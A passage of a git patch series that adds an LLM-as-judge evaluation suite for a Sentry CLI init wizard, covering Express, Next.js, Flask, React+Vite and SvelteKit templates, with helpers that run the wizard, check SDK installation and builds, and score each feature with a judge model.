["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], + "@sentry/bundler-plugin-core/glob/path-scurry/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], "@sentry/bundler-plugin-core/glob/path-scurry/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], - "express/type-is/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], - "glob/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.2", "", { "dependencies": { "jackspeak": "^4.2.3" } }, "sha512-x0K50QvKQ97fdEz2kPehIerj+YTeptKF9hyYkKf6egnwmMWAkADiO0QCzSp0R5xN8FTZgYaBfSaue46Ej62nMg=="], } } diff --git a/package.json b/package.json index fd680571..555ce054 100644 --- a/package.json +++ b/package.json @@ -21,11 +21,13 @@ "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", "test:isolated": "bun test test/isolated", "test:e2e": "bun test test/e2e", + "test:init-eval": "bun test test/init-eval --timeout 600000", "generate:skill": "bun run script/generate-skill.ts", "check:skill": "bun run script/check-skill.ts", "check:deps": "bun run script/check-no-deps.ts" }, "devDependencies": { + "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", @@ -43,6 +45,7 @@ "esbuild": "^0.25.0", "fast-check": "^4.5.3", "ignore": "^7.0.5", + "openai": "^6.22.0", "p-limit": "^7.2.0", "pretty-ms": "^9.3.0", "qrcode-terminal": "^0.12.0", @@ -64,5 +67,8 @@ "packageManager": "bun@1.3.9", "patchedDependencies": { "@stricli/core@1.2.5": "patches/@stricli%2Fcore@1.2.5.patch" + }, + "dependencies": { + "opencode-lore": "^0.1.0" } } From 4e1269f72b75ed15c61686b03695445c17f87ad1 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 17:25:37 +0100 Subject: [PATCH 12/72] feat(init): add init-eval test suite Add LLM-as-judge eval tests for the init wizard across all five platforms (Express, Next.js, Flask, React+Vite, SvelteKit). Each test runs the wizard end-to-end and asserts on SDK installation, Sentry.init presence, build success, and documentation accuracy via an LLM judge. Includes template apps, helper utilities (assertions, doc-fetcher, judge, platform configs), and feature-docs.json mapping. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/express.eval.test.ts | 3 + test/init-eval/feature-docs.json | 59 ++++++++ test/init-eval/helpers/assertions.ts | 98 ++++++++++++ test/init-eval/helpers/create-eval-suite.ts | 57 +++++++ test/init-eval/helpers/docs-fetcher.ts | 60 ++++++++ test/init-eval/helpers/judge.ts | 143 ++++++++++++++++++ test/init-eval/helpers/platforms.ts | 129 ++++++++++++++++ test/init-eval/helpers/run-wizard.ts | 117 ++++++++++++++ test/init-eval/helpers/test-env.ts | 46 ++++++ test/init-eval/nextjs.eval.test.ts | 3 + test/init-eval/python-flask.eval.test.ts | 3 + test/init-eval/react-vite.eval.test.ts | 3 + test/init-eval/sveltekit.eval.test.ts | 3 + .../templates/express-app/.gitignore | 2 + .../templates/express-app/package.json | 17 +++ .../templates/express-app/src/index.ts | 12 ++ .../templates/express-app/tsconfig.json | 16 ++ .../init-eval/templates/nextjs-app/.gitignore | 3 + .../templates/nextjs-app/next.config.ts | 5 + .../templates/nextjs-app/package.json | 21 +++ .../templates/nextjs-app/src/app/layout.tsx | 16 ++ .../templates/nextjs-app/src/app/page.tsx | 3 + .../templates/nextjs-app/tsconfig.json | 21 +++ .../templates/python-flask-app/.gitignore | 4 + .../templates/python-flask-app/app.py | 12 ++ .../python-flask-app/requirements.txt | 1 + .../templates/react-vite-app/.gitignore | 2 + .../templates/react-vite-app/index.html | 12 ++ .../templates/react-vite-app/package.json | 22 +++ .../templates/react-vite-app/src/app.tsx | 5 + .../templates/react-vite-app/src/main.tsx | 9 ++ .../templates/react-vite-app/tsconfig.json | 19 +++ .../templates/react-vite-app/vite.config.ts | 6 + .../templates/sveltekit-app/.gitignore | 3 + .../templates/sveltekit-app/package.json | 18 +++ .../sveltekit-app/src/routes/+page.svelte | 1 + .../templates/sveltekit-app/svelte.config.js | 12 ++ .../templates/sveltekit-app/tsconfig.json | 14 ++ .../templates/sveltekit-app/vite.config.ts | 6 + 39 files changed, 986 insertions(+) create mode 100644 test/init-eval/express.eval.test.ts create mode 100644 test/init-eval/feature-docs.json create mode 100644 test/init-eval/helpers/assertions.ts create mode 100644 test/init-eval/helpers/create-eval-suite.ts create mode 100644 test/init-eval/helpers/docs-fetcher.ts create mode 100644 test/init-eval/helpers/judge.ts create mode 100644 test/init-eval/helpers/platforms.ts create mode 100644 test/init-eval/helpers/run-wizard.ts create mode 100644 test/init-eval/helpers/test-env.ts create mode 100644 test/init-eval/nextjs.eval.test.ts create mode 100644 test/init-eval/python-flask.eval.test.ts create mode 100644 test/init-eval/react-vite.eval.test.ts create mode 100644 test/init-eval/sveltekit.eval.test.ts create mode 100644 test/init-eval/templates/express-app/.gitignore create mode 100644 test/init-eval/templates/express-app/package.json create mode 100644 test/init-eval/templates/express-app/src/index.ts create mode 100644 test/init-eval/templates/express-app/tsconfig.json create mode 100644 test/init-eval/templates/nextjs-app/.gitignore create mode 100644 test/init-eval/templates/nextjs-app/next.config.ts create mode 100644 test/init-eval/templates/nextjs-app/package.json create mode 100644 test/init-eval/templates/nextjs-app/src/app/layout.tsx create mode 100644 test/init-eval/templates/nextjs-app/src/app/page.tsx create mode 100644 test/init-eval/templates/nextjs-app/tsconfig.json create mode 100644 test/init-eval/templates/python-flask-app/.gitignore create mode 100644 test/init-eval/templates/python-flask-app/app.py create mode 100644 test/init-eval/templates/python-flask-app/requirements.txt create mode 100644 test/init-eval/templates/react-vite-app/.gitignore create mode 100644 test/init-eval/templates/react-vite-app/index.html create mode 100644 test/init-eval/templates/react-vite-app/package.json create mode 100644 test/init-eval/templates/react-vite-app/src/app.tsx create mode 100644 test/init-eval/templates/react-vite-app/src/main.tsx create mode 100644 test/init-eval/templates/react-vite-app/tsconfig.json create mode 100644 test/init-eval/templates/react-vite-app/vite.config.ts create mode 100644 test/init-eval/templates/sveltekit-app/.gitignore create mode 100644 test/init-eval/templates/sveltekit-app/package.json create mode 100644 test/init-eval/templates/sveltekit-app/src/routes/+page.svelte create mode 100644 test/init-eval/templates/sveltekit-app/svelte.config.js create mode 100644 test/init-eval/templates/sveltekit-app/tsconfig.json create mode 100644 test/init-eval/templates/sveltekit-app/vite.config.ts diff --git a/test/init-eval/express.eval.test.ts b/test/init-eval/express.eval.test.ts new file mode 100644 index 00000000..258c8849 --- /dev/null +++ b/test/init-eval/express.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("express"); diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json new file mode 100644 index 00000000..87f94496 --- /dev/null +++ b/test/init-eval/feature-docs.json @@ -0,0 +1,59 @@ +{ + "$comment": [ + "Maps each platform to doc URLs used as ground truth by the LLM judge.", + "", + "Structure: { platformId: { featureName: [url, ...] } }", + " - Platform keys must match the `id` from helpers/platforms.ts", + " - Feature names are free-form strings (e.g. 'getting-started', 'errors')", + " - Each feature maps to an array of doc URLs (multiple pages allowed)", + " - Empty arrays mean 'no docs yet'; the judge skips the follows-docs criterion", + "", + "To add a new platform: add a key with its feature objects.", + "To add a new feature: add a new key under the platform with a URL array." + ], + + "nextjs": { + "getting-started": [], + "errors": [], + "logs": [], + "tracing": [], + "replay": [], + "metrics": [], + "sourcemaps": [], + "profiling": [] + }, + + "express": { + "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/express/"], + "errors": ["https://docs.sentry.io/platforms/javascript/guides/express/usage/"], + "tracing": ["https://docs.sentry.io/platforms/javascript/guides/express/tracing/"], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/express/logs/"], + "metrics": ["https://docs.sentry.io/platforms/javascript/guides/express/metrics/"], + "profiling": ["https://docs.sentry.io/platforms/javascript/guides/express/profiling/"] + }, + + "python-flask": { + "getting-started": [], + "errors": [], + "tracing": [], + "logs": [], + "metrics": [], + "profiling": [] + }, + + "sveltekit": { + "getting-started": [], + "errors": [], + "sourcemaps": [], + "replay": [], + "tracing": [] + }, + + "react-vite": { + "getting-started": [], + "errors": [], + "sourcemaps": [], + "replay": [], + "tracing": [] + } +} diff --git a/test/init-eval/helpers/assertions.ts b/test/init-eval/helpers/assertions.ts new file mode 100644 index 00000000..52633b95 --- /dev/null +++ b/test/init-eval/helpers/assertions.ts @@ -0,0 +1,98 @@ +import { execSync } from "node:child_process"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import type { Platform } from "./platforms.js"; +import type { WizardResult } from "./run-wizard.js"; + +export type AssertionFailure = { + check: string; + message: string; +}; + +/** + * Run hard pass/fail assertions on the wizard result. + * Returns an array of failures (empty = all passed). + */ +export function runAssertions( + projectDir: string, + platform: Platform, + result: WizardResult +): AssertionFailure[] { + const failures: AssertionFailure[] = []; + + // 1. Exit code 0 + if (result.exitCode !== 0) { + failures.push({ + check: "exit-code", + message: `Expected exit code 0, got ${result.exitCode}.\nstderr: ${result.stderr.slice(0, 500)}`, + }); + } + + // 2. SDK in dependencies + try { + const depContent = readFileSync( + join(projectDir, platform.depFile), + "utf-8" + ); + if (!depContent.includes(platform.sdkPackage)) { + failures.push({ + check: "sdk-installed", + message: `${platform.sdkPackage} not found in ${platform.depFile}`, + }); + } + } catch { + failures.push({ + check: "sdk-installed", + message: `Could not read ${platform.depFile}`, + }); + } + + // 3. Sentry.init present in changed or new files + const allContent = result.diff + Object.values(result.newFiles).join("\n"); + if (!platform.initPattern.test(allContent)) { + failures.push({ + check: "init-present", + message: `${platform.initPattern} not found in any changed or new files`, + }); + } + + // 4. No placeholder DSNs + const placeholderPatterns = [ + /___PUBLIC_DSN___/, + /YOUR_DSN_HERE/, + /https:\/\/examplePublicKey@o0\.ingest\.sentry\.io\/0/, + ]; + for (const pat of placeholderPatterns) { + if (pat.test(allContent)) { + failures.push({ + check: "no-placeholder-dsn", + message: `Placeholder DSN found: ${pat.source}`, + }); + } + } + + // 5. Project builds (if buildCmd set) + if (platform.buildCmd) { + try { + // Install deps first (wizard may have added new ones) + execSync(platform.installCmd, { + cwd: projectDir, + stdio: "pipe", + timeout: 120_000, + }); + execSync(platform.buildCmd, { + cwd: projectDir, + stdio: "pipe", + timeout: 120_000, + }); + } catch (err) { + const msg = err instanceof Error ? err.message : String(err); + failures.push({ + check: "build-succeeds", + message: `Build failed: ${msg.slice(0, 500)}`, + }); + } + } + + return failures; +} diff --git a/test/init-eval/helpers/create-eval-suite.ts b/test/init-eval/helpers/create-eval-suite.ts new file mode 100644 index 00000000..ca8ac2a1 --- /dev/null +++ b/test/init-eval/helpers/create-eval-suite.ts @@ -0,0 +1,57 @@ +import { afterAll, describe, expect, test } from "bun:test"; +import { runAssertions } from "./assertions"; +import { fetchDocsContent } from "./docs-fetcher"; +import { judgeFeature } from "./judge"; +import { getPlatform, WIZARD_FEATURE_IDS } from "./platforms"; +import { runWizard, type WizardResult } from "./run-wizard"; +import { createTestEnv } from "./test-env"; + +/** + * Creates a standard eval test suite for a given platform. + * + * Runs the wizard once with all features, then: + * 1. Code-based hard assertions (deterministic) + * 2. Per-feature LLM judge calls (one test per feature) + */ +export function createEvalSuite(platformId: string) { + const p = getPlatform(platformId); + const env = createTestEnv(p.templateDir); + let result: WizardResult; + + // Only pass features that are valid wizard --features flag values + const wizardFeatures = p.docs + .map((d) => d.feature) + .filter((f) => WIZARD_FEATURE_IDS.has(f)); + + afterAll(() => env.cleanup()); + + describe(`eval: ${p.name}`, () => { + test( + "wizard completes", + async () => { + result = await runWizard(env.projectDir, p, wizardFeatures); + expect(result.exitCode).toBe(0); + }, + p.timeout + ); + + test("hard assertions pass", async () => { + const failures = runAssertions(env.projectDir, p, result); + if (failures.length > 0) { + console.log("Assertion failures:", JSON.stringify(failures, null, 2)); + } + expect(failures).toEqual([]); + }, 120_000); + + // Per-feature LLM judge — one test per feature + for (const doc of p.docs) { + test(`judge: ${doc.feature}`, async () => { + const docsContent = await fetchDocsContent(doc.docsUrls); + const verdict = await judgeFeature(result, p, doc, docsContent); + if (verdict) { + expect(verdict.score).toBeGreaterThanOrEqual(0.5); + } + }, 60_000); + } + }); +} diff --git a/test/init-eval/helpers/docs-fetcher.ts b/test/init-eval/helpers/docs-fetcher.ts new file mode 100644 index 00000000..4fb9936d --- /dev/null +++ b/test/init-eval/helpers/docs-fetcher.ts @@ -0,0 +1,60 @@ +/** + * Fetch Sentry documentation pages and extract plain text for use as + * ground-truth reference material in LLM judge prompts. + * + * Accepts an array of URLs — fetches all in parallel and concatenates results. + * Returns "(no docs provided)" when the array is empty. + */ +export async function fetchDocsContent(urls: string[]): Promise { + if (urls.length === 0) { + return "(no docs provided)"; + } + + // Restore real fetch — test preload mocks it to catch accidental network + // calls, but we need real HTTP to reach docs.sentry.io. + const realFetch = (globalThis as { __originalFetch?: typeof fetch }) + .__originalFetch; + if (realFetch) { + globalThis.fetch = realFetch; + } + + const charBudgetPerUrl = Math.floor(6000 / urls.length); + + const results = await Promise.all( + urls.map((url) => fetchOne(url, charBudgetPerUrl)) + ); + return results.join("\n\n---\n\n"); +} + +async function fetchOne(url: string, charLimit: number): Promise { + try { + const res = await fetch(url, { + headers: { "User-Agent": "sentry-init-eval/1.0" }, + }); + + if (!res.ok) { + return `(failed to fetch ${url}: ${res.status})`; + } + + const html = await res.text(); + + // Strip HTML tags, collapse whitespace + const text = html + .replace(//gi, "") + .replace(//gi, "") + .replace(/<[^>]+>/g, " ") + .replace(/ /g, " ") + .replace(/&/g, "&") + .replace(/</g, "<") + .replace(/>/g, ">") + .replace(/"/g, '"') + .replace(/'/g, "'") + .replace(/\s+/g, " ") + .trim(); + + return text.slice(0, charLimit); + } catch (err) { + const msg = err instanceof Error ? err.message : String(err); + return `(failed to fetch ${url}: ${msg})`; + } +} diff --git a/test/init-eval/helpers/judge.ts b/test/init-eval/helpers/judge.ts new file mode 100644 index 00000000..4b8ee863 --- /dev/null +++ b/test/init-eval/helpers/judge.ts @@ -0,0 +1,143 @@ +import type { FeatureDoc, Platform } from "./platforms.js"; +import type { WizardResult } from "./run-wizard.js"; + +export type JudgeCriterion = { + name: string; + /** true = pass, false = fail, "unknown" = judge can't determine */ + pass: boolean | "unknown"; + reason: string; +}; + +export type JudgeVerdict = { + criteria: JudgeCriterion[]; + /** Score from 0-1, computed only over criteria that aren't "unknown" */ + score: number; + summary: string; +}; + +/** + * Use an LLM judge to evaluate whether a **single feature** was correctly set + * up by the wizard. Returns null if OPENAI_API_KEY is not set. + * + * `docsContent` is the pre-fetched plain-text documentation to include as + * ground truth in the prompt. + */ +export async function judgeFeature( + result: WizardResult, + platform: Platform, + feature: FeatureDoc, + docsContent: string +): Promise { + const apiKey = process.env.OPENAI_API_KEY; + if (!apiKey) { + console.log( + ` [judge:${feature.feature}] Skipping LLM judge (no OPENAI_API_KEY set)` + ); + return null; + } + + // Restore real fetch — test preload mocks it to catch accidental network + // calls, but we need real HTTP for the OpenAI API. + const realFetch = (globalThis as { __originalFetch?: typeof fetch }) + .__originalFetch; + if (realFetch) { + globalThis.fetch = realFetch; + } + + // Dynamic import so we don't fail when the package isn't installed + const { default: OpenAI } = await import("openai"); + const client = new OpenAI({ apiKey }); + + const newFilesSection = Object.entries(result.newFiles) + .map(([path, content]) => `### ${path}\n\`\`\`\n${content}\n\`\`\``) + .join("\n\n"); + + const prompt = `You are evaluating whether **${feature.feature}** was correctly set up in a **${platform.name}** project by a Sentry SDK wizard. + +## Official Sentry documentation for ${feature.feature} +${docsContent} + +## Changes made by wizard (git diff) +\`\`\`diff +${result.diff.slice(0, 20_000)} +\`\`\` + +## New files created by wizard +${newFilesSection.slice(0, 20_000) || "(none)"} + +## Wizard output +stdout: ${result.stdout.slice(0, 2000)} +stderr: ${result.stderr.slice(0, 2000)} + +Score each criterion as true (pass), false (fail), or "unknown" (cannot determine from the available information): +1. **feature-initialized** — The ${feature.feature} feature is correctly initialized per the documentation +2. **correct-imports** — Correct imports and SDK packages used for ${feature.feature} +3. **no-syntax-errors** — No syntax errors or broken imports in ${feature.feature}-related code +4. **follows-docs** — ${feature.feature} configuration follows documentation recommendations + +Return ONLY valid JSON with this structure: +{ + "criteria": [ + {"name": "feature-initialized", "pass": true, "reason": "..."}, + {"name": "correct-imports", "pass": true, "reason": "..."}, + {"name": "no-syntax-errors", "pass": true, "reason": "..."}, + {"name": "follows-docs", "pass": "unknown", "reason": "..."} + ], + "summary": "Brief overall assessment of ${feature.feature} setup" +}`; + + const response = await client.chat.completions.create({ + model: "gpt-4o", + max_tokens: 1024, + messages: [{ role: "user", content: prompt }], + }); + + const text = response.choices[0]?.message?.content ?? ""; + + // Extract JSON from response (handle markdown code blocks) + const jsonMatch = text.match(/\{[\s\S]*\}/); + if (!jsonMatch) { + console.log( + ` [judge:${feature.feature}] Failed to parse judge response:`, + text.slice(0, 200) + ); + return null; + } + + let parsed: { criteria: JudgeCriterion[]; summary: string }; + try { + parsed = JSON.parse(jsonMatch[0]); + } catch { + console.log( + ` [judge:${feature.feature}] Invalid JSON in response:`, + jsonMatch[0].slice(0, 200) + ); + return null; + } + + // Score: ignore "unknown" criteria, only count pass/fail + const gradable = parsed.criteria.filter((c) => c.pass !== "unknown"); + const passing = gradable.filter((c) => c.pass === true).length; + const total = gradable.length; + const score = total > 0 ? passing / total : 0; + + const verdict: JudgeVerdict = { + criteria: parsed.criteria, + score, + summary: parsed.summary, + }; + + // Log for visibility in test output + console.log( + ` [judge:${feature.feature}] Score: ${passing}/${total} (${(score * 100).toFixed(0)}%)` + ); + for (const c of parsed.criteria) { + let icon = "FAIL"; + if (c.pass === "unknown") icon = "SKIP"; + else if (c.pass === true) icon = "PASS"; + console.log(` ${icon} ${c.name}: ${c.reason}`); + } + console.log(` [judge:${feature.feature}] Summary: ${parsed.summary}`); + + return verdict; +} diff --git a/test/init-eval/helpers/platforms.ts b/test/init-eval/helpers/platforms.ts new file mode 100644 index 00000000..402e2c53 --- /dev/null +++ b/test/init-eval/helpers/platforms.ts @@ -0,0 +1,129 @@ +import { readFileSync } from "node:fs"; +import { join } from "node:path"; + +export type FeatureId = + | "errors" + | "tracing" + | "logs" + | "replay" + | "metrics" + | "sourcemaps" + | "profiling"; + +/** Feature IDs that are valid for the wizard `--features` flag. */ +export const WIZARD_FEATURE_IDS: Set = new Set([ + "errors", + "tracing", + "logs", + "replay", + "metrics", + "sourcemaps", + "profiling", +]); + +export type FeatureDoc = { + feature: string; + docsUrls: string[]; +}; + +export type Platform = { + id: string; + name: string; + templateDir: string; + sdkPackage: string; + depFile: string; + docs: FeatureDoc[]; + buildCmd?: string; + installCmd: string; + initPattern: RegExp; + timeout: number; +}; + +const TEMPLATES_DIR = join(import.meta.dir, "../templates"); + +/** Load feature docs from the external JSON config. */ +const featureDocsRaw: Record> = JSON.parse( + readFileSync(join(import.meta.dir, "../feature-docs.json"), "utf-8") +); + +function getDocs(platformId: string): FeatureDoc[] { + const entry = featureDocsRaw[platformId]; + if (!entry) { + throw new Error( + `No feature docs found for platform "${platformId}" in feature-docs.json` + ); + } + return Object.entries(entry).map(([feature, urls]) => ({ + feature, + docsUrls: urls, + })); +} + +export const PLATFORMS: Platform[] = [ + { + id: "nextjs", + name: "Next.js", + templateDir: join(TEMPLATES_DIR, "nextjs-app"), + sdkPackage: "@sentry/nextjs", + depFile: "package.json", + docs: getDocs("nextjs"), + installCmd: "npm install", + buildCmd: "npm run build", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, + { + id: "express", + name: "Express", + templateDir: join(TEMPLATES_DIR, "express-app"), + sdkPackage: "@sentry/node", + depFile: "package.json", + docs: getDocs("express"), + installCmd: "npm install", + buildCmd: "npx tsc --noEmit", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, + { + id: "python-flask", + name: "Flask", + templateDir: join(TEMPLATES_DIR, "python-flask-app"), + sdkPackage: "sentry-sdk", + depFile: "requirements.txt", + docs: getDocs("python-flask"), + installCmd: "pip install -r requirements.txt", + buildCmd: "python -m compileall -q .", + initPattern: /sentry_sdk\.init/, + timeout: 300_000, + }, + { + id: "sveltekit", + name: "SvelteKit", + templateDir: join(TEMPLATES_DIR, "sveltekit-app"), + sdkPackage: "@sentry/sveltekit", + depFile: "package.json", + docs: getDocs("sveltekit"), + installCmd: "npm install", + buildCmd: "npm run build", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, + { + id: "react-vite", + name: "React + Vite", + templateDir: join(TEMPLATES_DIR, "react-vite-app"), + sdkPackage: "@sentry/react", + depFile: "package.json", + docs: getDocs("react-vite"), + installCmd: "npm install", + buildCmd: "npm run build", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, +]; + +export function getPlatform(id: string): Platform { + const p = PLATFORMS.find((entry) => entry.id === id); + if (!p) throw new Error(`Unknown platform: ${id}`); + return p; +} diff --git a/test/init-eval/helpers/run-wizard.ts b/test/init-eval/helpers/run-wizard.ts new file mode 100644 index 00000000..a7561816 --- /dev/null +++ b/test/init-eval/helpers/run-wizard.ts @@ -0,0 +1,117 @@ +import { execSync } from "node:child_process"; +import { readFileSync } from "node:fs"; +import { join, resolve } from "node:path"; +import { getCliCommand } from "../../fixture.js"; +import type { Platform } from "./platforms.js"; + +/** Root of the CLI repo (three levels up from this file). */ +const CLI_ROOT = resolve(import.meta.dir, "../../.."); + +export type WizardResult = { + exitCode: number; + stdout: string; + stderr: string; + diff: string; + newFiles: Record; +}; + +/** + * Run `sentry init --yes --force` on a project directory and capture results. + * When `features` is provided, passes `--features ` to the wizard. + */ +export async function runWizard( + projectDir: string, + platform: Platform, + features?: string[] +): Promise { + // Resolve relative paths (e.g. "src/bin.ts") against the CLI repo root, + // since the wizard spawns with cwd set to the temp project directory. + const cmd = getCliCommand().map((part) => + part.includes("/") ? resolve(CLI_ROOT, part) : part + ); + const mastraUrl = process.env.MASTRA_API_URL; + if (!mastraUrl) { + throw new Error("MASTRA_API_URL env var is required to run init evals"); + } + + // Install dependencies first so the wizard sees a realistic project + try { + execSync(platform.installCmd, { + cwd: projectDir, + stdio: "pipe", + timeout: 120_000, + }); + // Commit lock files so they don't show up in the diff + execSync("git add -A && git commit -m deps --no-gpg-sign --allow-empty", { + cwd: projectDir, + stdio: "pipe", + env: { + ...process.env, + GIT_AUTHOR_NAME: "test", + GIT_AUTHOR_EMAIL: "test@test.com", + GIT_COMMITTER_NAME: "test", + GIT_COMMITTER_EMAIL: "test@test.com", + }, + }); + } catch { + // Some templates (e.g. Python) might not need install + } + + const initArgs = [...cmd, "init", "--yes", "--force"]; + if (features && features.length > 0) { + initArgs.push("--features", features.join(",")); + } + + const proc = Bun.spawn(initArgs, { + cwd: projectDir, + stdout: "pipe", + stderr: "pipe", + env: { + ...process.env, + // Override the hardcoded Mastra URL to point at local/test server + SENTRY_WIZARD_API_URL: mastraUrl, + // Disable telemetry + SENTRY_CLI_NO_TELEMETRY: "1", + }, + }); + + const [stdout, stderr] = await Promise.all([ + new Response(proc.stdout).text(), + new Response(proc.stderr).text(), + ]); + + const exitCode = await proc.exited; + + // Capture git diff (staged + unstaged changes since last commit) + let diff = ""; + try { + diff = execSync("git diff HEAD", { + cwd: projectDir, + encoding: "utf-8", + maxBuffer: 1024 * 1024, + }); + } catch { + // No diff available + } + + // Capture new untracked files + const newFiles: Record = {}; + try { + const untracked = execSync("git ls-files --others --exclude-standard", { + cwd: projectDir, + encoding: "utf-8", + }).trim(); + + for (const file of untracked.split("\n").filter(Boolean)) { + try { + newFiles[file] = readFileSync(join(projectDir, file), "utf-8"); + } catch { + // Binary or unreadable + } + } + } catch { + // No untracked files + } + + return { exitCode, stdout, stderr, diff, newFiles }; +} diff --git a/test/init-eval/helpers/test-env.ts b/test/init-eval/helpers/test-env.ts new file mode 100644 index 00000000..94abfb33 --- /dev/null +++ b/test/init-eval/helpers/test-env.ts @@ -0,0 +1,46 @@ +import { execSync } from "node:child_process"; +import { cpSync, mkdirSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +export type TestEnv = { + projectDir: string; + cleanup: () => void; +}; + +/** + * Copy a template project into an isolated temp directory with git initialized. + * Returns the project dir and a cleanup function. + */ +export function createTestEnv(templateDir: string): TestEnv { + const rand = Math.random().toString(36).slice(2, 8); + const name = templateDir.split("/").pop() ?? "project"; + const projectDir = join(tmpdir(), "sentry-init-eval", `${name}-${rand}`); + + mkdirSync(projectDir, { recursive: true }); + cpSync(templateDir, projectDir, { recursive: true }); + + // Initialize git so we can diff after the wizard runs + execSync("git init && git add -A && git commit -m init --no-gpg-sign", { + cwd: projectDir, + stdio: "pipe", + env: { + ...process.env, + GIT_AUTHOR_NAME: "test", + GIT_AUTHOR_EMAIL: "test@test.com", + GIT_COMMITTER_NAME: "test", + GIT_COMMITTER_EMAIL: "test@test.com", + }, + }); + + const cleanup = () => { + if (process.env.KEEP_TEMP) return; + try { + rmSync(projectDir, { recursive: true, force: true }); + } catch { + // ignore + } + }; + + return { projectDir, cleanup }; +} diff --git a/test/init-eval/nextjs.eval.test.ts b/test/init-eval/nextjs.eval.test.ts new file mode 100644 index 00000000..1938f0d5 --- /dev/null +++ b/test/init-eval/nextjs.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("nextjs"); diff --git a/test/init-eval/python-flask.eval.test.ts b/test/init-eval/python-flask.eval.test.ts new file mode 100644 index 00000000..95e1528e --- /dev/null +++ b/test/init-eval/python-flask.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("python-flask"); diff --git a/test/init-eval/react-vite.eval.test.ts b/test/init-eval/react-vite.eval.test.ts new file mode 100644 index 00000000..e4d844c8 --- /dev/null +++ b/test/init-eval/react-vite.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("react-vite"); diff --git a/test/init-eval/sveltekit.eval.test.ts b/test/init-eval/sveltekit.eval.test.ts new file mode 100644 index 00000000..b44beae8 --- /dev/null +++ b/test/init-eval/sveltekit.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("sveltekit"); diff --git a/test/init-eval/templates/express-app/.gitignore b/test/init-eval/templates/express-app/.gitignore new file mode 100644 index 00000000..b9470778 --- /dev/null +++ b/test/init-eval/templates/express-app/.gitignore @@ -0,0 +1,2 @@ +node_modules/ +dist/ diff --git a/test/init-eval/templates/express-app/package.json b/test/init-eval/templates/express-app/package.json new file mode 100644 index 00000000..60915acd --- /dev/null +++ b/test/init-eval/templates/express-app/package.json @@ -0,0 +1,17 @@ +{ + "name": "express-app", + "version": "0.1.0", + "private": true, + "scripts": { + "start": "node dist/index.js", + "build": "tsc" + }, + "dependencies": { + "express": "^4.21.0" + }, + "devDependencies": { + "@types/express": "^5", + "@types/node": "^22", + "typescript": "^5" + } +} diff --git a/test/init-eval/templates/express-app/src/index.ts b/test/init-eval/templates/express-app/src/index.ts new file mode 100644 index 00000000..ed2c1ef0 --- /dev/null +++ b/test/init-eval/templates/express-app/src/index.ts @@ -0,0 +1,12 @@ +import express from "express"; + +const app = express(); +const port = process.env.PORT || 3000; + +app.get("/", (_req, res) => { + res.json({ message: "Hello World" }); +}); + +app.listen(port, () => { + console.log(`Server running on port ${port}`); +}); diff --git a/test/init-eval/templates/express-app/tsconfig.json b/test/init-eval/templates/express-app/tsconfig.json new file mode 100644 index 00000000..856416bb --- /dev/null +++ b/test/init-eval/templates/express-app/tsconfig.json @@ -0,0 +1,16 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "commonjs", + "lib": ["ES2022"], + "outDir": "./dist", + "rootDir": "./src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} diff --git a/test/init-eval/templates/nextjs-app/.gitignore b/test/init-eval/templates/nextjs-app/.gitignore new file mode 100644 index 00000000..7c8ed234 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/.gitignore @@ -0,0 +1,3 @@ +node_modules/ +.next/ +out/ diff --git a/test/init-eval/templates/nextjs-app/next.config.ts b/test/init-eval/templates/nextjs-app/next.config.ts new file mode 100644 index 00000000..cb651cdc --- /dev/null +++ b/test/init-eval/templates/nextjs-app/next.config.ts @@ -0,0 +1,5 @@ +import type { NextConfig } from "next"; + +const nextConfig: NextConfig = {}; + +export default nextConfig; diff --git a/test/init-eval/templates/nextjs-app/package.json b/test/init-eval/templates/nextjs-app/package.json new file mode 100644 index 00000000..22af217c --- /dev/null +++ b/test/init-eval/templates/nextjs-app/package.json @@ -0,0 +1,21 @@ +{ + "name": "nextjs-app", + "version": "0.1.0", + "private": true, + "scripts": { + "dev": "next dev", + "build": "next build", + "start": "next start" + }, + "dependencies": { + "next": "^15.1.0", + "react": 